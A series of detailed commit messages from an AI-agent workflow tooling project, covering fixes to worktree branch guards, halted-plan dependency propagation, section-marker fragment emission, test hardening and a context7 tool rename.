* feat(#1953): warn when strict mode is on but nothing will actually block

Closes acceptance criterion 5, which I had wrongly marked satisfied.

refactor.trigger_strict records an untriaged proposal as an open deviation
window, but a ship only STOPS if workflow.windows_enforce is also on — a
toggle owned by the broken-windows capability that this feature neither sets
nor requires. So a user could enable strict, believe ship was gated, and find
out otherwise at ship time.

The split itself stays: requires:["broken-windows"] would force-install the
ledger on advisory users who never enable strict, and a ship:pre gate of our
own would never fire because ship.md has no generic ship:pre gate dispatch.
What was missing was discoverability, so that is what this fixes.

`refactor evaluate` now emits a typed REFACTOR_STRICT_NOT_ENFORCING warning,
naming the exact remediation command, whenever strict is on and either
workflow.windows_enforce is off or broken-windows is unavailable. It fires
only on a run that produced a candidate — with nothing to block on there is
nothing to warn about, and warning every run would be noise.

Reads workflow.windows_enforce through the same resolveConfigKey walk the
router already uses for its own keys rather than a second config reader.
Four tests cover the matrix: strict+enforce-off warns, strict+enforce-on does
not, strict+ledger-absent warns, strict-off never warns.

Also corrects a user-facing message in this same file that told the user to
run `gsd-tools config-set` — the wrong form. docs/CONFIGURATION.md and the
broken-windows capability both use `gsd config-set`, and gsd-tools is invoked
as `node gsd-tools.cjs`, so the bare form may not resolve. The two adjacent
messages in this file now agree.

* fix(#3132): realign spec/plan/ui-phase workflow prose from retired covered/backstop-as-status to resolved+verification

The edge-probe resolution model splits status (resolved|dismissed|unresolved)
from verification (explicit|backstop). The workflow prose in three files still
used the pre-re-cut covered/backstop-as-status vocabulary that validateResolution
rejects.

Swept all three prose surfaces:
- spec-phase.md: Step 5.5 resolution options, --auto mode + log line, comment, Step 6 row list
- plan-phase.md: lift rule (L778/L780), comments (L564/L706), quality gate (L826-827)
- ui-phase.md: resolution loop (L391), --auto mode (L405-409), write-back format (L415)

Added regression test in edge-probe-spec-phase-contract.test.cjs asserting the
retired vocab is absent and resolved+verification is used instead.

* chore(#3132): add changeset + emitted-drift ack for workflow vocab realignment

* fix(#3132): update planner contract tests for resolved+verification vocabulary

RR-02 and RR-03 tests asserted the old covered/backstop-as-status vocab.
Updated to match the realigned prose (resolved edge → must_haves).

* fix(#3132): fix specless-probe-fallback test assertion + merge duplicate ack

Test assertion was too strict (expected auto-resolved + verification:explicit
on same line). Split into two independent assertions.

Merged plan-phase.md ack into existing #2658 fragment to resolve duplicate-path
rule violation.

* fix(#3132): use bare filenames in ack keys (size map keys are bare, not full paths)

* fix(#3132): amend existing acks instead of duplicating — remove plan-phase from #2658, spec-phase from #3132, append #3132 reason to #0000 and #2650

* fix(#3021): recognize worktree-wf_* branch namespace in all guards

The Claude-orchestration Workflow backend (#1143) creates per-plan
worktrees on branches named worktree-wf_<runid>-<n>. Four independent
copies of the agent branch allow-list regex (^(worktree-)?agent-...) never
learned this namespace:
- hooks/gsd-worktree-path-guard.js:176 — FAILED OPEN (process.exit(0)),
  silently disabling path containment for exactly the concurrent dispatch
  mode where cross-worktree writes are most likely
- src/worktree-safety.cts:21 — silently dropped cleanup-wave manifest
  entries
- agents/gsd-executor.md:503 — FATAL halt on branch check
- gsd-core/references/worktree-branch-check.md:33 — same FATAL halt

Extended all four to ^((worktree-)?agent-|worktree-wf_)[A-Za-z0-9._/-]+$.
The path guard now correctly blocks cross-worktree writes for Workflow-
backend branches instead of no-op'ing.

ed360cd99f chore(#2995): extend fragment emission to agents/ and reclaim size-cap headroom (#3058)
* feat(#2995): extend fragment emission to agents/ across every read point

Epic #1671 Phase 6.4. `composeWorkflow` stripped `<!-- gsd:section -->` markers
only for `gsd-core/workflows/`, so a marked agent shipped its markers verbatim
into every runtime — and agent text is loaded into a subagent's context on every
dispatch.

The issue proposed widening the `copyWithPathReplacement` guard. That is a no-op
for agents: agents never traverse that function. Agent content is read for
emission at five independent points, and the obvious chokepoint
`stageAgentsForProfile` short-circuits on the DEFAULT `full` profile
(`skills === '*'` returns the real unstaged directory), so a hook placed there is
dead code on most installs.

Composition now happens at two call sites instead of five parallel surfaces:
`stageAgentsForRuntimeWithConverter` (with `agentsKind` and `kimiAgentsKind`
routed through it via an identity converter) and the inline agent loop in
bin/install.js. Both compose BEFORE any path rewrite, so a `.claude/` ->
`.windsurf/` regex can never reach inside a marker attribute — the ordering
#2930 established for workflows.

`installCodexConfig` was the fifth read point: Codex embeds each agent's prompt
into a per-agent `.toml` via its own readFileSync. Call-graph analysis missed it;
the exhaustive per-runtime emission sweep found it. That is why the new guard is
behavioral rather than structural — a sixth read point fails the sweep without
anyone remembering to extend a list.

tests/agent-fragments-emission.install.test.cjs spawns a real installer for every
runtime at every agent-bearing scope, derived from RUNTIME_META and the
capability registry at run time so a new runtime cannot be silently
under-covered. It asserts markers are absent AND the `when="always"` body is
retained, so marker-absence cannot be satisfied by dropping content. An
identity-composer negative control proves the assertion can fail.

Verified: 0 install failures, 0 marker leaks, body retained on 27 runtime/scope
paths; red before the wiring on claude(global+local), zcode(global+local),
kimi, codex and opencode.

Refs #2995

* chore(#2995): give the tightest agents headroom and correct the design lock

Epic #1671 Phase 6.4, second half.

`agents/gsd-verifier.md` had 12 bytes of headroom under its 49,152-byte LARGE
cap and `agents/gsd-debugger.md` had 147 under its 57,344-byte XL cap. Both now
extract reference material to `gsd-core/references/` behind an @-reference — the
documented DEFECT.AGENT-FILE-SIZE-CAP-BREACH remedy:

  gsd-verifier  49,140 -> 46,371 B   headroom    12 -> 2,781
  gsd-debugger  57,197 -> 48,851 B   headroom   147 -> 8,493

Byte accounting proves no content was lost: the combined agent+reference delta
is exactly the new files' headers plus the agents' slim replacement blocks. Each
agent keeps its routing table and a one-line summary per entry, so it degrades
gracefully on a runtime that does not inline @-references.

`agents/gsd-planner.md` is untouched and still passes both char guards
(49,130 < 49,152); it needed no change, so it took none.

The other nine LARGE/XL agents carry NO gsd:section markers, and that is
deliberate, not deferred. `when=` selection is read from
gsd-core/workflows/section-manifest.json, which gen-section-manifest.cjs derives
from gsd-core/workflows/*.md only — shape `{workflows: ...}`, no per-agent key,
no per-agent init entry point. An agent atom therefore fails admission gate (2)
("a fact the init seam demonstrably computes at a real entry point") and would
evaluate false forever while looking like working gating. Marking agents would
manufacture exactly the silent-inertness rot the frozen vocabulary exists to
prevent.

ADR-1671 gains three amendments, two of which close gaps /adr-phase-coverage
found against what actually merged:

  - The 19 -> 29 vocabulary widening shipped in #2994 with no coordinated ADR
    amendment, which that bullet's own rule forbids. Recorded now.
  - `flag:--verify-only` was one of six atoms #2992 withheld and deferred to
    "the LARGE/XL rollout phase". Five shipped; this one is permanently
    rejected, and that disposition lived only in a merged PR body.
  - Phase 6.4's own finding: emission extends to agents/, gating does not.

CONTEXT.md's glossary was stale on both seams — Workflow Fragments Module still
listed the original 4-atom vocabulary and described when= as "not yet acted on",
and Section Manifest Module still described InvocationFacts as
{waveFlag, phaseNumber, hasPriorPhases}. Both now match the shipped contract.

Inventory manifest regenerated AFTER build:lib per the documented ordering
landmine; 19 install-tree fixtures pick up the two new references.

Refs #2995

* chore(#2995): correct the compose-site count and mark the raw stager

Self-review found two comment defects in the prior commit. The agentsKind
comment claimed composition lands at TWO call sites; it is three, since
installCodexConfig's per-agent .toml writer was added after that comment was
written. And stageAgentsForProfile is now production-dead — both callers route
through the composing stager — while staying exported and unit-tested, which
makes it a trap: it does a raw copyFileSync and short-circuits to the unstaged
source directory under the default profile, so a future caller would silently
reintroduce the marker-shipping path. Its JSDoc now says so.

* test(#2995): guard the marker-documenting-doc class for agents

Widening the composer's scope to agents/ makes reachable the exact class #2930
narrowed scope to avoid: a file that DOCUMENTS the marker syntax with an
unfenced example is indistinguishable from a real marker, so the composer drops
that line from the emitted artifact.

Three rows. A fenced example must compose byte-identically. No shipped agent may
carry a marker outside a fence — asserted by parsing every real agent and
requiring zero explicit sections, which is what makes the fence protection
load-bearing rather than decorative. And a non-vacuity row asserts an UNFENCED
marker IS parsed as a real marker, so if that ever stops being true the second
row is guarding nothing.

Also applies two review findings: stageAgentsForProfile's new JSDoc claimed it
had no production caller, which is false — bin/install.js's _stageAgents still
calls it, and its consumers compose before writing. Corrected to state the
invariant instead. And a let/const nit in the emission sweep.

* fix(#2995): keep verifier status vocabulary in the agent, fix a wrong fixture

The first remote run came back red with three failures. Both root causes were
mine.

1. tests/agent-frontmatter.test.cjs requires agents/gsd-verifier.md to literally
   contain HOLLOW and DISCONNECTED. The Step 4b extraction moved that status
   vocabulary into gsd-core/references/verifier-wiring-patterns.md, so the agent
   no longer had it.

   Byte accounting said no content was lost, and byte-wise that was true — but a
   contract required those tokens to live IN THE AGENT. That is ADR-1671:66's
   flexReserve floor stated concretely: a load-bearing fragment must not be
   trimmed out of its host, and "the bytes still exist somewhere" is not the
   test. The two status tables are restored to the agent and deliberately
   mirrored in the reference with a note saying so, so the procedure there still
   reads standalone. gsd-verifier lands at 47,069 B — headroom 12 -> 2,083,
   rather than the 2,781 the first attempt claimed.

2. Row 12b of the new marker-documentation guard asserted that an unfenced
   marker example parses as a real marker, and threw instead:
   "unmatched /gsd:section close marker". The grammar is WHOLE-LINE only. The
   fixture had put the OPEN marker inline mid-sentence, so it was correctly not
   recognised as an open while the close, on its own line, was.

   That is a real refinement of the hazard this guard exists for: only a marker
   on its OWN line is mis-parsed — which is exactly how a documentation example
   is normally written. Row 12b now uses a whole-line marker, and a new row 12c
   pins the inline case as explicitly NOT a marker.

No test was weakened to accommodate the change; the change was corrected to
satisfy the tests.

ef823ca9d9 fix(#2830): propagate a halted plan to its transitive dependents (#3038)
* test(#2830): add failing regression tests for halted-plan dependent blocking

Add tests/fix-2830-halted-plan-dependents.test.cjs covering direct,
transitive (2 and 3 hop), and diamond dependents of a halted plan across
both independent "which plans are incomplete" readers (phase-plan-index's
cmdPhasePlanIndex and findPhaseInternal/searchPhaseInDir), the negative
case (an unrelated decoupled plan stays runnable), and a parity check that
the two readers agree. Uses only modules that already exist at this
commit (gsd-tools.cjs via subprocess, the pre-existing phase-locator.cjs)
so the test file loads and runs cleanly on a fresh clone of this exact
commit. These fail against current behavior: neither reader has any
concept of a halted plan or a blocked_by/runnable view yet.

* fix(#2830): a halted plan no longer leaves its dependents on the runnable work list

A plan that reaches a designed stop still writes a SUMMARY, so both
"which plans are incomplete" readers saw it as an ordinary completion and
reported its dependents as ordinary runnable work — never checking
whether an upstream plan had halted rather than finished.

- New `status: halted` frontmatter value, documented in all four SUMMARY
  templates alongside the existing `status: complete`.
- New shared src/plan-dependency-graph.cts: a single computeHaltPropagation
  pass that both phase.cts's cmdPhasePlanIndex (wave-grouping) and
  phase-locator.cts's searchPhaseInDir (the phase-location primitive, ~50
  dependent symbols across 5 command routers) now call, so the
  two-implementation divergence that caused this bug cannot recur. It
  accepts an optional precomputedOrder so cmdPhasePlanIndex — which already
  runs Kahn's algorithm in computeDependencyLevels for wave assignment —
  passes that order straight through instead of a second traversal;
  searchPhaseInDir (no prior traversal) lets the module derive its own.
  The two small duplicated predicates each reader would otherwise carry
  (is this status "halted"?, which summary file matches which plan id?)
  are centralized in the same module as isHaltedStatus/buildSummaryFileIndex.
- Additive fields only: `halted`/`blocked_by`/`runnable` on
  cmdPhasePlanIndex's plans[] and top level, `halted_plans`/`blocked_by`/
  `runnable_plans` on searchPhaseInDir's result. The pre-existing
  `incomplete`/`incomplete_plans` fields are unchanged in meaning and
  membership.
- execute-phase.md's discover_and_group_plans step now also skips any
  plan whose `blocked_by` is non-empty, reporting it by name with its
  blocking chain, in addition to (not instead of) the existing
  has_summary skip rule.

Extends tests/fix-2830-halted-plan-dependents.test.cjs (introduced in the
prior commit) with direct unit coverage of computeHaltPropagation
(including the precomputedOrder call shape) and a fast-check property
test — both only possible once this commit's new module exists.

Closes #2830

* fix(#2830): surface the halt-aware view from init execute-phase

The adopted work made phase-locator compute halted_plans / blocked_by /
runnable_plans, but cmdInitExecutePhase builds its output by explicitly
enumerating fields, so all three were computed and then silently dropped at
the exact consumer the issue names as regressed.

Forwards them additively -- incomplete_plans and incomplete_count keep their
name, type and semantics byte-for-byte -- and adds the same three empty
defaults to the roadmap-only fallback so the shape is consistent in both
branches. Covered by a new test that drives the real CLI end to end rather
than the locator function, since the locator already worked.

* fix(#2830): fail closed on dependency cycles and stop the templates inviting the defect

Three review findings, all fixed:

- BLOCKER (isolated adversarial). Cycle participants never reach indegree 0 in
  the Kahn pass, so they were excluded from the topological order, never visited
  by the forward pass, and vanished from blocked_by entirely -- i.e. reported as
  runnable. The wave-grouping reader hard-fails on a cycle so it never hit this,
  but the phase-location reader does not, so init execute-phase offered a plan
  depending directly on a halted plan. Reproduced, then fixed in the shared
  engine so every consumer is safe regardless of pre-checks: a node absent from
  the order is now blocked with a deterministic, non-empty named cause. A plan
  silently missing from both blocked_by and runnable is the exact disappearance
  this issue exists to prevent.

- MAJOR (isolated adversarial). All four summary templates showed the field as
  an inline comment on the value line. Frontmatter parsing does not strip
  trailing comments, so an executor copying the templates' own presentation
  wrote a halt that parsed as a non-halted string, silently reproducing the
  original bug. Guidance moved off the value line, and the halt predicate now
  tolerates an unquoted trailing comment.

- HARD standards violation. A test regex-matched child-process stderr prose for
  /cycle/i, which CONTRIBUTING bans. Replaced with the structured failure signal
  plus a differential assertion (same fixture without the cycle edge must
  succeed), so it stays cycle-specific without matching prose.

Also folds the duplicated read-summary-and-check-halted wrapper out of both
readers into the shared module -- centralizing only the predicate left the exact
two-copies-that-drift pattern the module exists to prevent -- and commits the
artifact-types documentation for the new status value.

* test(#2830): stop the property generator hanging the whole suite

The remote runner did not fail -- it hung. Two containers sat in this file for
31+ minutes, and an earlier attempt ran 9 hours before I killed it. The runner
passes --test-timeout=0, so nothing ever reaps it: this would have hung CI
indefinitely, not reported a failure.

Root cause: the DAG generator built edges by rejection --

  from: fc.integer({ min: 0, max: n - 1 })
  to:   fc.integer({ min: 0, max: n - 1 })
  .filter(({ from, to }) => from < to)

With n === 1 both integers are forced to 0, so the predicate is unsatisfiable
and fast-check retries value generation forever. n is drawn from 1..12 and
fast-check biases toward boundary values, so n === 1 is reached almost at once.

This also explains why the failing-first run completed normally while the fixed
run hung: before the fix the graph module did not exist, so the property test
threw on import and never reached generation. It only starts hanging once the
code under test works.

Generates the DAG by construction instead -- `to` is drawn strictly above
`from`, with the degenerate single-node case short-circuited to an empty edge
list -- so no rejection sampling is involved. Switches the import to the shared
fast-check setup so the seed and run count are pinned per CONTRIBUTING, and adds
a bounded regression guard that samples the arbitrary directly, so a future
reintroduction fails loudly instead of hanging.

Verified: the file now completes in 2 seconds, 29 tests started and 29 finished,
zero failures, against an indefinite hang before.

* fix(#2830): restore the depends_on display contract and acknowledge the workflow growth

Full-suite run surfaced two things the focused harnesses could not.

1. Regression of a pinned pre-existing contract (#3785). A refactor routed the
   EMITTED depends_on field through the new dependency resolver, which also
   consults the canonical-prefix map. The original consulted the plan map only,
   so a short canonical prefix passed through verbatim -- '24-01' stayed
   '24-01' rather than becoming '24-01-auth-hardening'. The emitted field is a
   DISPLAY mapping, not the DAG resolution, and #3785 pins that. Reverted with
   a comment recording why it must not use the resolver; full resolution is
   still used for the wave DAG and halt propagation, which is what needs it.

2. The workflow file grew 518 bytes without an acknowledgment, from the
   halt-aware skip rule and the widened parse contract. Acknowledged.

Note on where the acknowledgment landed: the guidance is to add a NEW fragment,
but execute-phase.md is already named by an existing fragment and the linter
hard-fails when two ack sources name the same path. Appending to the owning
fragment, following its own established multi-PR pattern, was the only
lint-clean option.

* chore(#2994): fragmentize progress.md forensic audit onto the fragment model

Extract the --forensic-gated forensic_audit step to
workflows/progress/steps/forensic-audit.md behind a section marker, and
repair progress.md's init line to forward --forensic so the atom is
actually true in production rather than only under direct CLI tests.

progress.md shrinks 32630 -> 27207 bytes.

* chore(#2994): fragmentize the four manifest-wired workflows

new-project, quick, new-milestone and progress each already had a
dedicated cmdInit* entry point but zero marked sections. Extract nine
gated bodies to workflows/<wf>/steps/ behind section markers and repair
each init line to forward its flags.

Fold --full into the discuss/research/validate facts inside cmdInitQuick
so the when= grammar never sees an OR, per the chunked-mode precedent.

Fixes found while working, per the no-defer rule:
- cmdInitProgress passed no phase info to buildSectionManifestField, so
  state:phase-mvp-mode was permanently false — an atom in the vocabulary
  whose fact could never be computed.
- the quick init router folded flag tokens into the free-text
  description, which the new forwarding would have corrupted.
- a #2508 dispatch note was nested inside quick.md's Agent(prompt=)
  fence, leaking orchestrator guidance into the subagent prompt.
- progress.md had a 3-vs-4 backtick outer-fence imbalance.

* chore(#2994): fragmentize verify-work.md and admit state:ui-phase-active

Wire cmdInitVerifyWork to buildSectionManifestField — it was a dedicated
entry point that never emitted a manifest — and mark two sections.

state:ui-phase-active folds (plan:pre hooks include an active ui step) OR
(the phase dir holds a *-UI-SPEC.md) into one boolean in init.cts, so the
grammar still sees a single operator-free atom. The inner Playwright-MCP
check stays as prose inside the fragment: it is live session state and no
init seam can precompute it.

The MVP false-branch note is a real fallback, not redundant prose, so it
sits outside the marker — gating it away would delete the text needed
precisely when MVP mode is off.

* test(#2994): follow moved workflow content in drift guards

Retarget every guard that asserted on content this branch moved into
workflows/<wf>/steps/, mirroring 815b3d897. Each retargeted assertion was
verified to still fail when its step file is blanked, so none was
weakened into vacuity.

Three assertions in verify-mvp-uat were genuinely red. Three more were
worse than red — passing for the wrong reason:
- quick-commit-boundary and worktree-cleanup anchored on indexOf('Step
  5.6'), which matched a later cross-reference and sliced 16069 chars
  that coincidentally held the asserted substrings. Replaced with an
  expandWorkflowSections helper that splices step content back in place.
- phase6-review-capabilities lost its end boundary and widened to EOF.
- playwright-ui-verify matched 'UI' in an unrelated bullet and 'fall
  back' in a subagent-dispatch line after the real content moved.

* chore(#2994): fragmentize code-review and complete-milestone, admit three atoms

Add dedicated cmdInitCodeReview and cmdInitCompleteMilestone entry points
alongside the shared generic ones rather than modifying them — init.phase-op
and init.manager carry a CRITICAL blast radius (179 dependents, 24
processes) and stay byte-identical for their other callers.

Admit flag:--fix, state:fallow-enabled and state:git-create-tag, each with
a consuming section and a fact its own entry point computes.

Both sections had the resolver-in-body hazard: the fallow config-gate and
the git.create_tag check each sat inside the very block being gated, so
gating would have disabled the resolver that decides the gate. Both are
hoisted into init and the bodies now consume the resolved fact.

* test(#2994): retarget code-review and milestone drift guards, fix two red tests

Retarget guards that asserted on content moved into steps/, proving
non-vacuity by blanking each step file and confirming failure.

Also fixes two genuinely red tests found while working, per the no-defer
rule:
- workflow-fragments' frozen-vocabulary lock was missing
  state:ui-phase-active, so commit 7ef7f8336 shipped red. Lint and build
  both passed over it, which is why neither is sufficient verification.
- code-review's quick.md capability-hook assertion carried a stale
  delimiter after the 18ff35d20 extraction.

* chore(#2994): fragmentize autonomous.md and admit state:plan-strategy-converge

Five sections share one atom, the pattern plan-phase already uses for
flag:--research-phase. The atom folds --converge OR --cross-ai into a
single boolean in cmdInitAutonomous so the grammar stays operator-free.

cmdInitAutonomous is additive; init.milestone-op, init.manager and
init.phase-op are untouched and still consumed. The $PLAN_STRATEGY bash
resolver is deliberately retained — ungated local-planning bullets still
read it, so the init-side fact supplements it rather than replacing it.

converge-fail-fast required splitting one bash fence so the always-run
CONVERGENCE_ARGS construction stays outside the marker. All three
flag-absent fallbacks were left outside their markers.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore(#2994): fragmentize review and discuss-phase-assumptions

Admit state:reviewer-instances-configured (two peripheral notes share it;
the core reviewer-lane dispatch stays unmarked — it is the workflow's
primary always-evaluated logic, not an optional branch) and
state:auto-advance-active, which folds --auto OR two config keys into one
boolean so the grammar stays operator-free.

discuss-phase-assumptions was the highest-risk edit in this PR. Its
auto_advance step is a full if/elif/else; gating it whole would have
deleted the flag-absent fallback needed exactly when --auto is off. Split
verified exact: resolvers 636-651 and the 'End here' fallback 668-669 both
stay outside the marker; only 653-667 is gated.

Adds emitted-drift acks for the two files that grew — review.md (+55 B)
and autonomous.md (+737 B from 80799211c, which had none and would have
red-gated the push.

* chore(#2994): fragmentize docs-update, update, transition and new-milestone Part A

Completes the 13-workflow rollout. Three of these had no init call at all
and gained a dedicated entry point plus their first gsd_run query line.

Admits state:is-monorepo and adds state:next-channel, state:workstream-active
and state:flat-mode. Vocabulary 26 -> 30 atoms.

Part A of new-milestone applies when NO workstream is active — the negation
of state:workstream-active. Rather than teach the grammar negation, which is
the Greenspun drift the frozen list exists to prevent, it gets a separate
positively-phrased atom whose fact is the inverse. Part B, which always runs,
stays outside the marker.

flag:--verify-only is deliberately NOT admitted: docs-update has no
contiguous purely-additive region for it, and an atom without a consuming
section is dead vocabulary. Evidence recorded in the slice report.

update.md reuses its existing resolved $GSD_TOOLS rather than prepending the
canonical preamble, which would have clobbered it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2994): stop automated-ui-verification re-resolving its own gate, retire dead vocabulary

Two defects the new tests caught.

The automated-ui-verification step re-ran gsd_run loop render-hooks and
recomputed UI_PHASE_ACTIVE inside a body that is only read when that fact
is already true — the circular self-disabling pattern this design forbids,
introduced by 3c654b168. cmdInitVerifyWork now exposes ui_phase_active and
the step consumes it. Its launcher preamble goes too: no gsd_run remains.
The Playwright-MCP check stays as prose — that is live session state.

Dead vocabulary predating this PR: flag:--full and state:needs-codebase-map
were admitted with a gate-1 claim that never materialized. flag:--full is
removed, redundant once quick folds it into discuss/research/validate.
state:needs-codebase-map gets the real consumer it always lacked, gating
new-project's codebase-map offer. Vocabulary 30 -> 29, and no atom is now
without a consuming section.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2994): add the atom-admission, inversion and resolver-hoist gates

The two existing parity guards prove vocabulary/predicate symmetry but
never that a fact is computed — an atom no cmdInit* assembles evaluates
false forever. These close that hole:

- per-atom satisfiability for all 29 atoms, plus an anti-vacuity assertion
  so the loop cannot silently cover zero atoms
- dead-vocabulary check against the shipped manifest
- inversion guard: the flag-absent fallbacks in discuss-phase-assumptions
  and verify-work must stay outside their markers
- data-driven resolver-hoist guard over the shipped manifest, so a future
  extraction cannot reintroduce the circular class
- compound-fold coverage (--full, --cross-ai, --rc, config-only --auto)
- null-vs-[] degraded/computed distinction, and flag value shapes

Also repairs the frozen-vocabulary lock, which was stale and red for the
seven atoms earlier commits on this branch shipped.

* fix(#2994): dedupe the phase-fallback block and harden --ws parsing

Review findings.

MAJOR: the three new init entry points each pasted a verbatim copy of the
guardedFindPhase/guardedGetRoadmapPhase fallback, taking the repo from four
copies to seven — DEFECT.GENERATIVE-FIX. Extracted applyRoadmapFallback and
folded six of the seven; each call site keeps its own field-set via a
closure. Duplication removed rather than papered over with a parity test.
cmdInitPhaseOp stays out: its fallback omits has_reviews, so it is not a
byte-identical copy, and it is CRITICAL-radius.

LOW, pre-existing: GSD_WS captured [^[:space:]]+ and expands unquoted, so a
workstream name holding glob metacharacters would expand against the
filesystem. Narrowed to [A-Za-z0-9._-]+. The unquoted expansion is kept —
it must word-split into two args and vanish when empty.

Also restores the vocabulary ordering convention, and fixes a masked test
bug the mandated run surfaced: the flag-forwarding guard checked only the
first init line per workflow, but new-milestone has two, so a real failure
was reporting exit 0.

* fix(#2994): drop the stale new-milestone emitted-drift ack

new-milestone.md was acked for a +406 B growth measured against an
intermediate commit. Net against origin/next it SHRANK by 8 bytes, so
nothing needed the ack and it explained nothing — which the differential
attribution check reports as a stale acknowledgment, not a pass.

update.md's entry stays: it genuinely grew +703 B.

* fix(#2994): resolve the 15 failures from the full matrix run

All 15 were real and identical on both lanes.

REAL REGRESSION: autonomous.md hit 41479 chars against the #2196 guard's
40960 cap — a CHARS cap distinct from the LARGE tier byte cap, which the
five section stubs pushed it over. Extracted the 3a.5 UI Design Contract
body to references/; now 39968 chars, and the file nets -795 B vs base, so
its growth ack is deleted rather than left stale.

REAL DEFECT: docs referenced /gsd-transition, which is not a live
registered command. Reworded.

STALE FIXTURE: the emission byte-identity test hardcoded two marked
workflows; this branch legitimately marks fifteen. Fixture corrected — the
source was right.

The rest were drift guards over the eight workflows the earlier sweep did
not cover, retargeted at where the content now lives with non-vacuity
proven by blanking each step file and confirming failure. The GSD_WS
forwarding guard was checked as a possible real break and is not one: the
charclass narrowing is intact and forwarding works end to end.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2994): drop the ack for a newly-added reference file

A new file's emitted ripple is attributable to the diff that adds it, so
the acknowledgment explained nothing and the differential check reports it
as stale. Removing the last entry removes the fragment — an empty one
signals nothing.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2994): retarget the UI-contract guards and clear two transitive advisories

The §3a.5 extraction that brought autonomous.md under the #2196 char cap
moved its body to references/autonomous-ui-design-contract.md, so ten
guards in autonomous-ui-steps and check-ui-safety-gate were asserting it
against the host. Retargeted via a combined read, each proven non-vacuous
by blanking the reference file and confirming failure.

This class had already bitten twice on this branch because each sweep was
scoped to the workflows touched at that moment, so this one was
exhaustive: ~70 test files across all 13 workflows, zero further broken or
vacuous assertions found.

Also clears two high transitive advisories the matrix flagged on one lane
— fast-uri GHSA-7p8r-x3mc-p8w7 and three ip-address SSRF/trust-boundary
issues. Both pre-date this branch: package-lock.json was untouched until
now, so the production tree was byte-identical to the base. Lockfile-only,
package.json unchanged, verified against a real npm ci install.

1259e4b619 fix(#1700): scope spike MANIFEST requirements per idea key (#3014)
* test(#1700): add failing-first regression test for spike MANIFEST.md idea scoping

Pins the deployed-text contract for spike.md's create_manifest step and
spike-wrap-up.md's gather/synthesize/write_skill steps before the fix lands,
so the fix commit demonstrates RED to GREEN.

* test(#1700): add issue ref to allow-test-rule exemption

lint-allow-test-rule-refs.cjs (ADR-456) requires a tracking-issue
reference on the same line as any new allow-test-rule: exemption.

* fix(#1700): scope spike MANIFEST.md Idea/Requirements per idea key

.planning/spikes/MANIFEST.md held one un-keyed ## Idea paragraph and one
flat ## Requirements list, while spike.md's own read path (load_prior_context
step d, frontier mode) assumed the tree holds several unrelated ideas across
campaigns. spike-wrap-up.md then copied that flat Requirements list verbatim
into every generated feature-area reference and the generated spike-findings
skill, so one idea's requirements leaked into another idea's build as
non-negotiable constraints.

Scopes both sides by an explicit idea key:
- spike.md's create_manifest step now writes MANIFEST.md as ## Ideas >
  ### {idea-key} subsections (idea paragraph + its own Requirements list),
  appends a new idea section instead of overwriting an existing one, and
  migrates a pre-fix flat-shape MANIFEST.md in place instead of discarding
  it. The ## Spikes table gains an Idea column. Spike README frontmatter
  carries the idea key.
- spike-wrap-up.md's gather/synthesize/write_skill steps resolve each
  spike's idea key and pull Requirements only from the idea key(s) actually
  represented among the spikes being wrapped.
- sketch.md's MANIFEST.md read (collateral of the same seam) is updated to
  match the new per-idea section shape.
- references/artifact-types.md no longer describes the project-level,
  durable-index MANIFEST.md as "(per-spike)".

Not a docs-vs-workflow conflict: docs/how-to/spike-and-sketch.md already
matches this contract ("all spikes are indexed in MANIFEST.md") and needed
no change; the defect was internal to spike.md (per-idea read assumption,
single-idea write template).

* test(#1700): make idea-frontmatter regex CRLF-safe

CONTRIBUTING.md's cross-platform portability rules (docs/contributing/
cross-platform-portability-rules.md) ban a bare \n literal matched against
fs.readFileSync'd content — Windows checkouts normalize to CRLF and would
silently break the assertion. Use \r?\n instead.

Found during self-review (code-review skill, Standards axis) before this
branch was handed off for verification.

* test(#1700): acknowledge emitted-size growth in spike.md, spike-wrap-up.md, sketch.md

The differential attribution check (tests/emitted-attribution.test.cjs,
ADR-2719) flagged unattributed byte growth in three emitted workflow files.
All three grew as a direct, necessary consequence of the #1700 fix (idea-key
scoping in spike.md's create_manifest, spike-wrap-up.md's gather/synthesize/
write_skill, and the matching one-line update to sketch.md's MANIFEST.md
read) — none of it is incidental prose. Growth stays well under the DEFAULT
tier byte cap (40960) for all three files; PRE_PHASE6 does not apply to
them (only plan-phase.md/execute-phase.md).

0bb7525a62 fix(#2943): rename get-library-docs -> query-docs; correct the ctx7 fallback rationale (#2963)
* test(#2943): parity guard against the nonexistent get-library-docs tool

Second context7 naming drift after #2017 (which guarded the plugin-marketplace
PREFIX). #2017's guard only checks tools: frontmatter lines, not prose bodies —
which is where the broken tool NAME (get-library-docs) lived. The context7 MCP
server registers only resolve-library-id and query-docs; get-library-docs is a
stale copy from upstream's own README.

Scans the shipped prose surface (agents/, gsd-core/references|workflows/,
commands/gsd/, skills/) and fails if any artifact instructs an agent to call
mcp__context7__get-library-docs. Excludes tests/ (a fixture may use the name as
a negative input) and CHANGELOG/RELEASE-NOTES-LEGACY (history).

Fails-first: 4 offenders today (gsd-executor.md:29,
research-documentation-lookup.md:5, discovery-phase.md:68 & :104).

* fix(#2943): rename get-library-docs to query-docs and correct the ctx7 fallback rationale

The context7 MCP server registers only resolve-library-id and query-docs
(verified against upstream packages/mcp/src/index.ts); get-library-docs is a
stale name copied from upstream's own README. Four shipped prose sites instructed
agents to call a tool the server does not register, so every research path that
loaded the canonical reference either errored, fell through to the ctx7 CLI
branch, or fabricated a result.

- research-documentation-lookup.md, gsd-executor.md, discovery-phase.md (x2):
  get-library-docs -> query-docs, params context7CompatibleLibraryId/topic ->
  libraryId/query (the registered contract).
- Same files' ctx7 CLI fallback rationale: the cited cause
  (anthropics/claude-code#13898 'strips MCP tools from agents with a tools:
  frontmatter restriction') was wrong on two counts — #13898 is closed and was
  never about tools: frontmatter. Rewritten to describe the real mechanism
  (custom subagents cannot see project-scoped .mcp.json; they only inherit
  user-scoped ~/.claude/mcp.json). The fallback itself is kept.
- discovery-phase.md 'mode: code/info' dropped — query-docs takes libraryId +
  query only; the code-vs-concepts intent is now expressed via the query text.

resolve-library-id is unchanged (still registered upstream). CHANGELOG and
RELEASE-NOTES-LEGACY citations are historical record, left as-is.

* chore(#2943): add changeset fragment (pr:0 placeholder)

